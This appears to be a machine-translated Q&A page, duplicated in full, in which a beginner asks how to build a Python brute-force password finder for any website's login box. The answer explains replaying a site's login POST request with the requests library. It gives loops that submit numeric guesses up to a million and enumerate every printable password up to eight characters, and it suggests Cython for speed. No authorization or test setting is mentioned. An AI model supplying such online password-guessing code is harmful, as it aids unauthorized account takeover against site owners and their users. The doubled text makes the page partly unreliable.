如何使用 python 创建暴力密码查找器?
How do I create a brute force password finder using python?
出于道德原因,我想使用 python 创建一个暴力密码查找器,我查阅了有关如何执行此操作的教程,我发现所有教程都有包含密码的变量。想找密码不知道是什么
所以我想让代码做的是获取任何网站的密码文本框并从我拥有的列表中获取密码并尝试在文本框中使用它们。我不确定该怎么做,但这是我目前所拥有的一些示例代码。另外,在编码 python 方面,我有点初学者,我对语言的基础知识有一定的了解。因此,根据您的回复措辞,我可能不明白该怎么做。
代码:
import random
char_list = './password.txt'
password = 'lakers'
def main():
with open('./password.txt') as f:
for line in f:
guess_password = random.choices(char_list)
if __name__ == '__main__':
main()
因此大多数网站将使用 POST 请求进行登录。识别请求属性及其路径。然后使用 requests
库在您的密码破解程序中发出相同的请求。现在进入密码破解器部分。如果您正在寻找一个更容易的数字密码破解器。例如。
import requests
for i in range(1000000):
requests.post(path, data={"username": username, "password": i})
现在这仍然是有效的,但是如果你破解一个字母数字密码,它就会越界,变得完全多余和无用。相当不错的 CPU 需要 92 年才能破解 8 个字符的密码。
如果您仍然坚持使用字母数字密码破解器,这里就是代码
import itertools
import string
chars = string.printable
attempts = 0
for password_length in range(1, 9):
for guess in itertools.product(chars, repeat=password_length):
attempts += 1
# Make a request to the server with the guess as the password
我强烈建议您使用 Cython 来加快该过程。它极大地帮助并加快了很多速度。
出于道德原因,我想使用 python 创建一个暴力密码查找器,我查阅了有关如何执行此操作的教程,我发现所有教程都有包含密码的变量。想找密码不知道是什么
所以我想让代码做的是获取任何网站的密码文本框并从我拥有的列表中获取密码并尝试在文本框中使用它们。我不确定该怎么做,但这是我目前所拥有的一些示例代码。另外,在编码 python 方面,我有点初学者,我对语言的基础知识有一定的了解。因此,根据您的回复措辞,我可能不明白该怎么做。
代码:
import random
char_list = './password.txt'
password = 'lakers'
def main():
with open('./password.txt') as f:
for line in f:
guess_password = random.choices(char_list)
if __name__ == '__main__':
main()
因此大多数网站将使用 POST 请求进行登录。识别请求属性及其路径。然后使用 requests
库在您的密码破解程序中发出相同的请求。现在进入密码破解器部分。如果您正在寻找一个更容易的数字密码破解器。例如。
import requests
for i in range(1000000):
requests.post(path, data={"username": username, "password": i})
现在这仍然是有效的,但是如果你破解一个字母数字密码,它就会越界,变得完全多余和无用。相当不错的 CPU 需要 92 年才能破解 8 个字符的密码。
如果您仍然坚持使用字母数字密码破解器,这里就是代码
import itertools
import string
chars = string.printable
attempts = 0
for password_length in range(1, 9):
for guess in itertools.product(chars, repeat=password_length):
attempts += 1
# Make a request to the server with the guess as the password
我强烈建议您使用 Cython 来加快该过程。它极大地帮助并加快了很多速度。